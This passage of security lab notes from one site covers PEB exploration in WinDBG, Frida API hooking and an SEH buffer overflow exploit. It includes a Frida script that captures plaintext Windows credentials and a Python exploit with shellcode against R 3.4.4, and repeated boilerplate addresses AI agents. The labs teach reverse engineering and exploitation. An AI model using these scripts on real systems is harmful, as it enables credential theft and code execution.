current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/get-all-open-handles-and-kernel-object-address-from-userland.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/exploring-process-environment-block.md). # Exploring Process Environment Block A very brief look into the PEB memory structure found, aiming to get a bit more comfortable with WinDBG and walking memory structures. ## Basics First of, checking what members the \`\_PEB\` structure actually entails: \`\`\` dt \_peb \`\`\` There are many fields in the structure among which there are \`ImageBaseAddresss\` and \`ProcessParameters\` which are interesting to us for this lab: !\[\](/files/-LL6Lp5XpOLIr66r1WKi) Getting the PEB address of the process: \`\`\`bash 0:001> r $peb $peb=000007fffffd5000 \`\`\` The \`\_PEB\` structure can now be overlaid on the memory pointed to by the \`$peb\` to see what values the structure members are holding/pointing to: \`\`\`bash 0:001> dt \_peb @$peb \`\`\` \`\_PEB\` structure is now populated with the actual data pulled from the process memory: !\[\](/files/-LL6NaFQxL6gvvwjid7b) Let's check what's in memory at address \`0000000049d40000\` - pointed to by the \`ImageBaseAddress\` member of the \`\_peb\` structure: \`\`\`cpp 0:001> db 0000000049d40000 L100 \`\`\` Exactly! This is the actual binary image of the running process: !\[\](/files/-LL6OZ9ELwy69ciz2EBF) Another way of finding the \`ImageBaseAddress\` is: \`\`\`csharp 0:001> dt \_peb ntdll!\_PEB //snip +0x010 ImageBaseAddress : Ptr64 Void //snip 0:001> dd @$peb+0x010 L2 000007ff\`fffd5010 49d40000 00000000 // 49d40000 00000000 is little-endian byte format - need to invert 0:001> db 0000000049d40000 L100 \`\`\` ## Convenience We can forget about all of the above and just use: \`\`\` !peb \`\`\` This gets us a nicely formatted PEB information of some of the key members of the structure: !\[\](/files/-LL6L-1Rg9Cxr5TIPGLF) ## Finding Commandline Arguments One of the interesting fields the PEB holds is the process commandline arguments. Let's find them: \`\`\`cpp dt \_peb @$peb processp\* ntdll!\_PEB +0x020 ProcessParameters : 0x00000000\`002a1f40 \_RTL\_USER\_PROCESS\_PARAMETERS dt \_RTL\_USER\_PROCESS\_PARAMETERS 0x00000000\`002a1f40 \`\`\` !\[\](/files/-LL6UsWoLR5d9A-KQnv4) We can be more direct and ask the same question like so: \`\`\`cpp 0:001> dt \_UNICODE\_STRING 0x00000000\`002a1f40+70 ntdll!\_UNICODE\_STRING ""C:\\Windows\\system32\\cmd.exe" " +0x000 Length : 0x3c +0x002 MaximumLength : 0x3e +0x008 Buffer : 0x00000000\`002a283c ""C:\\Windows\\system32\\cmd.exe" " \`\`\` or even this: \`\`\`cpp 0:001> dd 0x00000000\`002a1f40+70+8 L2 00000000\`002a1fb8 002a283c 00000000 0:001> du 00000000002a283c 00000000\`002a283c ""C:\\Windows\\system32\\cmd.exe" " \`\`\` !\[\](/files/-LL6WjLdFXj9UQUJbOpF) Since we now know where the commandline arguments are stored - can we modify them? Of course. ## Forging Commandline Arguments \`\`\`cpp 0:001> eu 00000000002a283c "cmdline-logging? Are You Sure?" \`\`\` !\[\](/files/-LL6eOnasTLRj-s3J5sF) ## \\\_PEB\\\_LDR\\\_DATA [](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/exploring-process-environment-block.md#peb_ldr_data-structure) Getting a list of loaded modules (exe/dll) by the process: \`\`\`cpp // get the first \_LIST\_ENTRY structure address 0:001> dt \_peb @$peb ldr->InMemoryOrderModuleList\* ntdll!\_PEB +0x018 Ldr : +0x020 InMemoryOrderModuleList : \_LIST\_ENTRY \[ 0x00000000\`002a2980 - 0x00000000\`002a1e40 \] // walking the list manually and getting loaded module info dt \_LIST\_ENTRY 0x00000000\`002a2980 // cmd module dt \_LDR\_DATA\_TABLE\_ENTRY 0x00000000\`002a2980 dt \_LIST\_ENTRY 0x00000000\`002a2980 // ntdll module dt \_LDR\_DATA\_TABLE\_ENTRY 0x00000000\`002a2a70 dt \_LIST\_ENTRY 0x00000000\`002a2a70 // kernel32 module dt \_LDR\_DATA\_TABLE\_ENTRY 0x00000000\`002a2df0 ...loop... \`\`\` !\[\](/files/-LL6ysCGWOvgaP6e6IY0) If we check the loaded modules with \`!peb\`, it shows we were walking the list correctly: !\[\](/files/-LL6zwVaEEzpD1ZkG9gx) Here is another way to find the first \`\_LDR\_DATA\_TABLE\_ENTRY\`: \`\`\`cpp dt \_peb @$peb dt \_PEB\_LDR\_DATA 0x00000000\`774ed640 \`\`\` !\[\](/files/-LLBNZS5n-N5YQHMuvZj) \`\`\`cpp dt \_LDR\_DATA\_TABLE\_ENTRY 0x00000000\`002a2980 \`\`\` !\[\](/files/-LLBN\_uPpzxY9He\_kIPZ) A nice way of getting a list of linked-list structure addresses is by providing address of the first \`list\_entry\` structure to the command \`dl\` and specifying how many list items it should print out: \`\`\`cpp 0:001> dl 0x00000000\`002a2980 6 00000000\`002a2980 00000000\`002a2a70 00000000\`774ed660 00000000\`002a2990 00000000\`00000000 00000000\`00000000 00000000\`002a2a70 00000000\`002a2df0 00000000\`002a2980 00000000\`002a2a80 00000000\`002a2f70 00000000\`774ed670 00000000\`002a2df0 00000000\`002a2f60 00000000\`002a2a70 00000000\`002a2e00 00000000\`002a3cb0 00000000\`002a2f70 00000000\`002a2f60 00000000\`002a3ca0 00000000\`002a2df0 00000000\`002a2f70 00000000\`002a2e00 00000000\`002a2a80 00000000\`002a3ca0 00000000\`002a41f0 00000000\`002a2f60 00000000\`002a3cb0 00000000\`002defc0 00000000\`002a2e00 00000000\`002a41f0 00000000\`002a3ff0 00000000\`002a3ca0 00000000\`002a4200 00000000\`002e1320 00000000\`002a4000 \`\`\` Another way of achieving the same would be to use the !list command to list through the list items and dump the info: \`\`\`cpp !list -x "dt \_LDR\_DATA\_TABLE\_ENTRY" 0x00000000\`002a2980 \`\`\` !\[\](/files/-LLBfVaSh1KZes\_LT-QL) Continuing further: !\[\](/files/-LLBgzuTbr3zquZgRqcR) ## Abusing PEB It is possible to abuse the PEB structure and masquerade one windows processes with another process. See this lab for more: {% content-ref url="/pages/-LPN\\\_7JKwQQAQIkRZo\\\_e" %} \[Masquerading Processes in Userland via \\\_PEB\](/offensive-security/defense-evasion/masquerading-processes-in-userland-through-\_peb.md) {% endcontent-ref %} ## References {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/exploring-process-environment-block.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/instrumenting-windows-apis-with-frida.md). # Instrumenting Windows APIs with Frida \[Frida\](https://frida.re) is dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers. ## Spawning New Process with Frida We can ask frida to spawn a new process for us to instrument: \`\`\` frida c:\\windows\\system32\\notepad.exe \`\`\` !\[\](/files/-MREl7G8sMgkNJkVqMzq) ## Attaching Frida to Existing Process We can ask frida to attach to an existing process: \`\`\` frida -p 10964 \`\`\` !\[\](/files/-MREloqiIXksEiFD6GqR) ## Hooking a Function The below code in \`hooking.js\` will find address of the Windows API \`WriteFile\` (lives in kernel32.dll/kernelbase.dll) and hexdump the contents of the 1st argument passed to it: {% code title="hooking.js" %} \`\`\`javascript var writeFile = Module.getExportByName(null, "WriteFile"); Interceptor.attach(writeFile, { onEnter: function(args) { console.log("Buffer dump:\\n" + hexdump(args\[1\])); // console.log("\\nBuffer via Cstring:\\n" + Memory.readCString(args\[1\])); // console.log("\\nBuffer via utf8String:\\n" + Memory.readUtf8String(args\[1\])); } }); \`\`\` {% endcode %} Let's spawn a new \`notepad.exe\` through Frida and supply it with the above \`hooking.js\` code, so that we can start instrumenting the \`WriteFile\` API and inspect the contents of the buffer that is being written to disk: \`\`\` frida C:\\windows\\system32\\notepad.exe -l .\\hooking.js \`\`\` !\[\](/files/-MRF6P76bABUYGNMotxI) Notice that we can update the \`hooking.js\` code and the instrumentation happens instantly - it does not require us to re-spawn the notepad or re-attaching Frida to it. In the above GIF, this can be seen at the end when we request the console to spit out the \`process.id\` (the frida is attached to) and the notepad process ID gets printed out to the screen instantly. ## Frida-Trace If we want to see if certain API calls are invoked by some specific process, say \`WriteFile\`, we can use \`frida-trace\` tool like so: \`\`\` frida-trace -i "WriteFile" C:\\windows\\system32\\notepad.exe \`\`\` !\[\](/files/-MRFMXJJT3Jg-F0QAKXO) ## Real Life Example - Intercepting Credentials Below shows how we can combine the above knowledge for something a bit more interesting. Can we intercept the plaintext credentials from the credentials prompt the user gets when they want to execute a program as another user? !\[Credentials prompt presented for "Run as different user"\](/files/-MS8nkOVNGZOlkXu9GBO) The answer is of course yes, so let's see how this could be done using Frida tools. Let's use \`frida-trace\` to see if explorer.exe ever calls any functions named \`\*Cred\*\` when we invoke the credentials popup: \`\`\` frida-trace -i "\*Cred\*" -p (ps explorer).id \`\`\` Below, we can see that indeed, there is a call to \`CredUIPromptForWindowsCredentialsW\` made when the prompt is first invoked: !\[\](/files/-MS8pKH\_-7zH38W5H97n) Entering some fake credentials shows the following interesting \`Cred\*\` API calls are made (in red): !\[\](/files/-MS8rZToc4SJpO2Xm8Bu) ...and the \[\`CredUnPackAuthenticationBufferW\`\](https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credunpackauthenticationbufferw) (in lime) is of special interest, because per MSDN: > The \*\*CredUnPackAuthenticationBuffer\*\* function converts an authentication buffer returned by a call to the \[CredUIPromptForWindowsCredentials\](https://docs.microsoft.com/en-us/windows/desktop/api/wincred/nf-wincred-creduipromptforwindowscredentialsa) function into a string user name and password. We can now instrument \`CredUnPackAuthenticationBufferW\` in a frida javascript like so: {% code title="Credentials.js" %} \`\`\`javascript var username; var password; var CredUnPackAuthenticationBufferW = Module.findExportByName("Credui.dll", "CredUnPackAuthenticationBufferW") Interceptor.attach(CredUnPackAuthenticationBufferW, { onEnter: function (args) { // Credentials here are still encrypted /\* CREDUIAPI BOOL CredUnPackAuthenticationBufferW( 0 DWORD dwFlags, 1 PVOID pAuthBuffer, 2 DWORD cbAuthBuffer, 3 LPWSTR pszUserName, 4 DWORD \*pcchMaxUserName, 5 LPWSTR pszDomainName, 6 DWORD \*pcchMaxDomainName, 7 LPWSTR pszPassword, 8 DWORD \*pcchMaxPassword ); \*/ username = args\[3\]; password = args\[7\]; }, onLeave: function (result) { // Credentials are now decrypted var user = username.readUtf16String() var pass = password.readUtf16String() if (user && pass) { console.log("\\n+ Intercepted Credentials\\n" + user + ":" + pass) } } }); \`\`\` {% endcode %} We can now hook the explorer.exe by providing frida with our instrumentation script like so: \`\`\` frida -p (ps explorer).id -l C:\\labs\\frida\\hello-world\\credentials.js \`\`\` !\[\](/files/-MS8tpWLcIRjmK\_wV0Eu) With \`CredUnPackAuthenticationBufferW\` instrumented, entering credentials in the prompt launched by explorer.exe, gives us the expected result - the credentials are seen in plaintext: !\[\](/files/-MS8wWGT5dGccHmFfFkO) ## Resources {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/instrumenting-windows-apis-with-frida.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/seh-based-buffer-overflow.md). # SEH Based Buffer Overflow The purpose of this lab is to familiarize how Structured Exception Handler / SEH based buffer overflow exploits work. ## SEH 101 \* Structured exception handling (SEH) is simply code in a program that is meant to handle situations when program throws an exception due to a hardware or software issue. This means catching those situations and doing something to resolve them; \* SEH code is located on the program's stack for each \`try-catch\` code block and each handler has its own stack frame; \* SEH is stored in stack as \`EXCEPTION\_REGISTRATION\_RECORD\` memory structure (also called SEH record) consisting of two 4 byte fields: \* pointer to the next SEH record within the SEH chain; \* pointer to the exception handler code - the \`catch\` part of the code block. This is the code that attempts to resolve the exception that the program threw; \* A program may have multiple SEHs registered that are connected by a linked list, forming a SEH chain; \* Once a program throws an exception, the OS runs through the SEH chain and attempts to find an appropriate exception handler; \* If no suitable handler is found, a default OS handler is used from the bottom of the SEH chain. All SEH chains always end with a default Windows SEH record. Next SEH Record field point to\`FFFFFFFF\`, which mean's that this is the last SEH record in the chain; \* SEH chain is stored in the Thread Environment Block (TEB) memory structure in its first member called Thread Information Block (TIB), that can be accessed via FS segment register \`FS:\[0x00\]\`; \* 64-bit applications are not vulnerable to SEH overflow as binaries are linked with safe exception handlers embedded in the PE file itself; \* 32-bit applications can be linked with \`/SAFESEH\` flag, which will produce a PE file with a table of safe exception handlers, assuming all modules are compatible with safe execption handling feature. Below is a simplified diagram visualising some of the key points outlined above: !\[TEB, SEH Chains, SEH Records visualised\](/files/-MeaUbJZAg42UBO09ZNR) ## Exploring TEB / TIB / SEH Chains ### Memory Structures Let's explore the key structures around SEH using WinDBG and confirm the key points mentioned in the SEH 101 section. Thread Environment Block is a described in the OS as \`\_TEB\` memory structure and can be inspected in WinDBG like so: \`\`\` dt \_teb \`\`\` !\[Snippet of the \\\_TEB memory structure\](/files/-Mea\_0KoEU0IhF1IUinO) As seen from the above screenshot, the TEB's first member is \`\_NT\_TIB\` (Thread Information Block) memory structure, which can be inspected like so: \`\`\` dt \_NT\_TIB \`\`\` !\[TIB memory structure in WinDBG\](/files/-Mea\_yGYGnNYfLX0tVCZ) As mentioned earlier, the first member inside the \`\_NT\_TIB\` structure is a pointer to \`\_EXCEPTION\_REGISTRATION\_RECORD\` memory structure, which is the first SEH record / head of the SEH chain (linked list) and can be inspected like so: \`\`\` dt \_EXCEPTION\_REGISTRATION\_RECORD \`\`\` !\[SEH record memory structure \\\_EXCEPTION\\\_REGISTRATION\\\_RECORD \](/files/-MeabLl0kVgBvQIV2ZVK) The first member of \`\_EXCEPTION\_REGISTRATION\_RECORD\` is a pointer to the next SEH record and the second member is a pointer to the exception handler that is defined in the \`\_EXCEPTION\_DISPOSITION\` memory structure. ### Actual Memory Structures We've learned about a couple of key memory structures, but now let's see how those structures look like when inspecting a real program that has some SEH records defined. As noted earlier, SEH are the \`try\` / \`catch\` code blocks in the program as shown below: {% code title="seh-overflow\\.c" %} \`\`\`c int main(int argc, char\* argv\[\]) { try { throw 1; } catch (int e) { } return 0; } \`\`\` {% endcode %} Let's compile the above program as seh-overflow\\.exe and inspect it with WinDBG again, this time with a \`!teb\` command: !\[!teb\](/files/-MeaeQI2jTAayNycDihB) We can see that \`\_TEB\` is located at \`00a25000\` and that the \`ExceptionList\` / head of the SEH chain is located at \`00cff2cc\`. From earlier, we said that this value could also be retrieved from the FS segment register \`fs:\[0\]\`, so let's confirm that: \`\`\` dd fs:\[0\] L1 \`\`\` !\[Head of SEH chain retrieved from the FS segment register fs:\\\[0\\\]\](/files/-MeajO4GhOS1JWE0i-wB) Let's check the start of the SEH chain at \`00cff2cc\` like so: \`\`\` dt \_EXCEPTION\_REGISTRATION\_RECORD 00cff2cc \`\`\` {% hint style="info" %} From this point the\`ExceptionList\` address changed from \`00cff2cc\` to \`00cff274\` due to the deugging program being restarted. This may happen multiple time throughout the labs. {% endhint %} !\[Start of the SEH chain at 00cff274\](/files/-Met6hhX-U9dWeS4Pl0i) Below gif demonstrates how we can get the address of the head of the SEH chain with \`!teb\` command and by inspecting the \`ExceptionList\`. We can then walk through all the registered SEH records in the SEH chain and observe how the last SEH record indicates that the next SEH records is at \`0xffffffff\`: (meaning, it is actually the last record and there's no next SEH record in the chain): !\[Walking through the SEH chain in WinDBG\](/files/-MeaqS6Mo72-f8uwHjhy) Note, however, that these SEH records are the exception handlers defined in the ntdll and not in our compiled binary: !\[\](/files/-MetA5dbcoRDfjcPfo7R) In order to see the SEH records defined by our program, we need it to execute the \`try\` / \`catch\` code block that we have in the \`main()\` function. Let's see the CPU instructions at our program's entry point: \`\`\` u $exentry \`\`\` !\[A bunch of jmp instructions in our seh-overflow.exe entry point\](/files/-MetCdwTc-7G-fPcK6mk) At this point, I do not know what the deal is with all the jmps, but let's try setting a breakpoint at \`00e1911d\` (2nd \`jmp\` instruction), right after the first \`jmp\` at \`00e19118\` and continue with execution: \`\`\` bp $exentry + 5 g \`\`\` !\[Breakpoint hit at the Image Entry\](/files/-MetGC1PlQE2lf5IClBd) Let's now see where the SEH head is at: !\[SEH chain starts at 00bbfb2c\](/files/-MetGUuKpcqoBhiZRBOS) We can now see that the start of the SEH chain has changed and is at \`00bbfb2c\`, so let's check the first SEH record: \`\`\` dt \_EXCEPTION\_REGISTRATION\_RECORD 00bbfb2c \`\`\` !\[\](/files/-MetGvwxj\_\_nBLXgCap6) The exception handler for the first SEH record is at \`0x00e220f0\`. Let's see which module it belongs to: \`\`\` u 0x00e220f0 \`\`\` !\[0x00e220f0 is the 1st exception handler of seh-overflow.exe\](/files/-MetHB2njBm3UYRyFAHW) The above image confirms that \`0x00e220f0\` is inside our seh-overflow\\.exe image and we're inspecting the SEH chain from our seh-overflow\\.exe. WinDBG has a command to explore SEH chains \`!exchain\`: !\[\](/files/-MfSUzWx-A0MDxdg5nsw) We can also easily discover SEH records using xdbg by inspecting the SEH tab as shown below: !\[Inspecting SEH chains using xdbg\](/files/-MetIABC4-ilE5wSzoL0) Below shows how SEH records 1 to 4 (right) are organized on the program's stack (left): !\[SEH chain on the stack\](/files/-MetUfXSQGDbAouOGIE2) If we updated our very first diagram showing where SEH chain is located and how it looks like with actual memory addresses, it would now look like this: !\[TEB / TIB / SEH chain with actual memory addresses\](/files/-MetUnfXFXloFezGudbV) Note that the exception handler at \`0x00e220f0\`, when we identified it previously using WinDbg after executing the first \`jmp\` inside the seh-overflow\\.exe entry point, was the first SEH record in the chain, however, inspecting the SEH chain in xdbg, we can see that the handler \`0x00e220f0\` actually belongs to the second SEH record, which suggests that executing the first \`jmp\` was not enough to set up the full SEH chain. That, however, does not prevent us from moving this lab further into the exploitation phase, but it's just something to note if you're playing along. ## Exploiting SEH Overflow ### Intro We're going to be exploiting the \[R 3.4.4\](https://www.exploit-db.com/exploits/47122) on a 32-bit Windows 10 system. {% hint style="info" %} The following exploitation steps will not be detailed, since they can be found in my other notes: \* Identifying the SEH record overwrite offset - see \[Finding EIP offset\](/offensive-security/code-injection-process-injection/binary-exploitation/stack-based-buffer-overflow.md#finding-eip-offset); \* Identifying bad characters for the shellcode - see \[Finding bad characters\](/offensive-security/code-injection-process-injection/binary-exploitation/stack-based-buffer-overflow.md#finding-bad-characters). {% endhint %} ### Confirming the Crash Let's open RGUI.exe in xdbg and hit F9 as many times as we need in order to get the program's GUI to show up: !\[RGUI showing up after launching it via xdbg\](/files/-MetaFNSVlBrgPfYDJUH) Let's generate some garbage data that we will send to the RGUI in order to confirm we can crash it: \`\`\`python python -c "print('A'\*3000)" | clip.exe \`\`\` !\[Generating garbage data using python\](/files/-Metdqyr3QddkEkcOPs6) Open the RGUI configuration editor and paste the garbage data generated into the "Language for menus and messages" input box as shown and click OK and then OK once more: !\[Sending garbage data to RGUI to confirm we can crash it and check if it's vulnerable to overflows\](/files/-Metgz4m--HdfONSzu-j) At this point, looking at xdbg, we can confirm the program crashed and is vulnerable to a classic buffer overflow as we were able to overwrite the EIP register with our AAAA (0x41414141): !\[Program is vulnerable to a classic buffer overflow - EIP is overwritten\](/files/-Methdd7z34BaFqin1YC) More, importantly, however, we confirm that the program is also vulnerable to the SEH overflow by inspecting the SEH chain tab: !\[Program confirmed to be vulnerable to SEH overflow - SEH record is overwrriten\](/files/-Meti4QwTjBkUC0nRQ3H) Note from above screenshot that the first SEH record was overwritten in the following manner: \* SEH record's handler address was overwritten (red); \* Pointer to the next SEH record was also overwritten (green). ### Confirming SEH Record Offset As the next step, we need to find an offset at which we can overwrite the SEH record. When a user supplied input is sent to a program vulnerable with a buffer overflow vulnerability, the stack is overwritten from lower memory addresses towards higher memory addresses. We also know that SEH records are stored on the stack and each one is an 8 byte memory structure that contains: 1. Pointer to the next SEH record; 2. Exception handler for the current SEH record. Based on the above, in order to confirm the SEH record offset, we should generate a dummy payload that is structured like so: !\[Payload structure high level view\](/files/-Mett5XnkEGSjnnNeHjb) Following the \[Finding EIP offset\](/offensive-security/code-injection-process-injection/binary-exploitation/stack-based-buffer-overflow.md#finding-eip-offset) technique, we identity that the SEH record offset into the stack is \`1012\`. Based on all of the above, our payload for testing, if we can correctly overwrite the SEH record (its pointer to the next SEH record and current SEH record's handler), should now look like this: !\[Payload structure with offset to the SEH record\](/files/-MeujwMT3bE3Me9eOQld) Let's create the above payload: \`\`\`python python -c "print('A'\*1012 + 'BBBB' + 'CCCC')" | clip.exe \`\`\` !\[\](/files/-MetsoMpyCV5XOSoKaqA) ...and send it to the vulnerable program and see if we can overwrite the SEH record, located at \`0141e768\` correctly: {% hint style="warning" %} \*\*Important\*\* Note the SEH record address \`0141e768\` - this is the record we will be overwriting and it will become very important when trying to understand how to force the vulnerable program to jump to our shellcode. {% endhint %} !\[Confirming we can overwrite SEH record at 0141e768 \](/files/-MettDLiGgjZITKKqq\_L) From the above screenshote we can see that we can overwrite the SEH record correctly: \* 43434343 (CCCC) is the exception handler for the current SEH record; \* 42424242 (BBBB) is the address of the next SEH record; ### POP POP RET Next, we will need to find a memory address in the vulnerable program that contains \`pop pop ret\` gadget. Let's see why we need this ROP gadget - hint: so that we can jump to the next SEH record in the chain, that we in fact can control, from which we can jump to the shellcode. Useful notes about ROP gadgets: {% content-ref url="/pages/-MaJoZYubr7zplb9RjBa" %} \[ROP Chaining: Return Oriented Programming\](/offensive-security/code-injection-process-injection/binary-exploitation/rop-chaining-return-oriented-programming.md) {% endcontent-ref %} Let's send \`1012\*A\` to the vulnerable program and upon crashing it, inspect the SEH chain: !\[SEH chain at time of the crash\](/files/-MfSOEn1dGDY\_Ns1bFx4) Note the first SEH record is at address \`0141E768\` and its handler is at \`76275680\`. {% hint style="info" %} Again, it is important to remember / realize that we control/can overwrite the SEH record at \`0141e768\`. {% endhint %} Let's set a breakpoint on the handler at \`76275680\`, continue execution until that breakpoint is hit, then inspect the SEH chain and the stack's contents: !\[Breakopoint hit at 76275680. 0141E768 is the SEH record we control and it's 3 values below the top of the stack\](/files/-MeuFWqRkGrL9maBe09M) Once the breakpoint is hit at \`76275680\`, we can see that the address \`0141E768\`, which is the address of the next SEH record (which we control) is on the stack and it's just 3 values below the top of the stack. This means that if we could overwrite the current SEH record's \`0141E768\` handler, currently pointing to \`76275680\`, to a memory address that contains \`pop pop ret\` instructions, we could transfer the program's execution control to \`0141E768\` (a SEH record that we control) and from there, execute our shellcode. We will test this in a moment. ### Finding POP POP RET To find memory addresses containing \`pop pop ret\` instructions, we can search all modules for a bytes pattern \`5f 5d c3\` that translates to \`pop edi; pop ebp; ret\`: {% hint style="info" %} Any other byte pattern that translates to \`pop pop ret\` should work too. {% endhint %} !\[Finding pop pop ret instructions using byte pattern search in all modules\](/files/-MeuLbqyyvTzJoNWu0mM) There are multiple results found as shown below. Let's chose the first one that contains executable instructions at \`0x637412c8\` and set a breakpoint on it by hitting F2: !\[Breakpoint is set at 0x637412c8, it contains pop pop ret instructions\](/files/-MeuMKw9GiVnt\_iVozgT) ### Overwriting SEH Record and Subverting Code Execution Flow We now know that our payload should look like this: !\[\](/files/-MfS\_WtH5rsBzhj-HMsR) So wen can start building our python exploit skeleton as shown below: {% code title="exploit.py" %} \`\`\`python f = open("payload.txt", "wb") # Offset into the first SEH record payload = b"A" \* 1012 # Address of the next SEH record payload += b"BOOM" # Current SEH handler (pop pop ret) payload += b"\\xc8\\x12\\x94\\x63" f.write(payload) f.close() \`\`\` {% endcode %} Executing \`exploit.py\` will create \`payload.txt\` with our payload, which when sent to the RGUI, will overflow the SEH record and overwrite it in the following way: 1. The next SEH record will contain the bytes \`42 4F 4F 4D\`, representing the string \`BOOM\`; 2. The current SEH handler will point to \`0x637412c8\` that contains \`pop pop ret\` instructions. Below shows the \`payload.txt\` file contents: !\[Payload.txt contents\](/files/-MeuS8-9UyDmskKg-CET) Let's send that payload to the RGUI: !\[Confirming we can subvert program's execution flow by overwriting SEH record\](/files/-MeuUN-zb\_aYicEyWzi7) Note from the above gif the key points: \* Once the program crashes with an exception and we continue running the program (F9), we hit our breakpoint at \`0x637412c8\` that contains the \`pop pop ret\` instructions; \* Once \`pop pop\` instructions are executed, \`ret\` instruction pops off the top topmost value\`0141E768\` from the stack, which is the SEH record we control, and jumps to it; \* Once execution jumps to \`0141E768\`, we see that first four instructions are actually are the bytes \`42 4f 4f 4d\` that represent our string \`BOOM\`, which means that at this point we have subverted the code execution flow and can start thinking about executing our shellcode. ### Adding Shellcode We're now ready to start suplementing our payload with shellcode. Our payload should now look like this: !\[\](/files/-MfSaNAITekf8y0Nn5bt) Let's modify our exploit skeleton to include some shellcode that pops a calculator: {% code title="exploit.py" %} \`\`\`python f = open("payload.txt", "wb") # Offset into the first SEH record payload = b"A" \* 1012 # Address of the next SEH record payload += b"BOOM" # payload += b"\\xeb\\x0B\\x90\\x90" # Current SEH handler (pop pop ret) payload += b"\\xc8\\x12\\x94\\x63" # NOP sled for reliability payload += b"\\x90"\*10 # shellcode buf = b"" buf += b"\\xba\\xbf\\xaf\\x65\\x1b\\xd9\\xc4\\xd9\\x74\\x24\\xf4\\x5d\\x31" buf += b"\\xc9\\xb1\\x31\\x31\\x55\\x13\\x83\\xed\\xfc\\x03\\x55\\xb0\\x4d" buf += b"\\x90\\xe7\\x26\\x13\\x5b\\x18\\xb6\\x74\\xd5\\xfd\\x87\\xb4\\x81" buf += b"\\x76\\xb7\\x04\\xc1\\xdb\\x3b\\xee\\x87\\xcf\\xc8\\x82\\x0f\\xff" buf += b"\\x79\\x28\\x76\\xce\\x7a\\x01\\x4a\\x51\\xf8\\x58\\x9f\\xb1\\xc1" buf += b"\\x92\\xd2\\xb0\\x06\\xce\\x1f\\xe0\\xdf\\x84\\xb2\\x15\\x54\\xd0" buf += b"\\x0e\\x9d\\x26\\xf4\\x16\\x42\\xfe\\xf7\\x37\\xd5\\x75\\xae\\x97" buf += b"\\xd7\\x5a\\xda\\x91\\xcf\\xbf\\xe7\\x68\\x7b\\x0b\\x93\\x6a\\xad" buf += b"\\x42\\x5c\\xc0\\x90\\x6b\\xaf\\x18\\xd4\\x4b\\x50\\x6f\\x2c\\xa8" buf += b"\\xed\\x68\\xeb\\xd3\\x29\\xfc\\xe8\\x73\\xb9\\xa6\\xd4\\x82\\x6e" buf += b"\\x30\\x9e\\x88\\xdb\\x36\\xf8\\x8c\\xda\\x9b\\x72\\xa8\\x57\\x1a" buf += b"\\x55\\x39\\x23\\x39\\x71\\x62\\xf7\\x20\\x20\\xce\\x56\\x5c\\x32" buf += b"\\xb1\\x07\\xf8\\x38\\x5f\\x53\\x71\\x63\\x35\\xa2\\x07\\x19\\x7b" buf += b"\\xa4\\x17\\x22\\x2b\\xcd\\x26\\xa9\\xa4\\x8a\\xb6\\x78\\x81\\x65" buf += b"\\xfd\\x21\\xa3\\xed\\x58\\xb0\\xf6\\x73\\x5b\\x6e\\x34\\x8a\\xd8" buf += b"\\x9b\\xc4\\x69\\xc0\\xe9\\xc1\\x36\\x46\\x01\\xbb\\x27\\x23\\x25" buf += b"\\x68\\x47\\x66\\x46\\xef\\xdb\\xea\\xa7\\x8a\\x5b\\x88\\xb7" payload += buf f.write(payload) f.close() \`\`\` {% endcode %} ...and send it to RGUI. Observe the crash, continue running the program until the breakpoint at \`0x637412c8\` is hit and inspect the memory at \`0141E768\`, where our SEH record, that we've just overflowed, lives. This is where we will jump to after the \`pop pop ret\` instructions will complete at \`0x637412c8\`: !\[Payload is organized in program's memory\](/files/-MeuaJuZylNf2C53jXpa) From the above screenshot, we can derive the following key point - once we land on 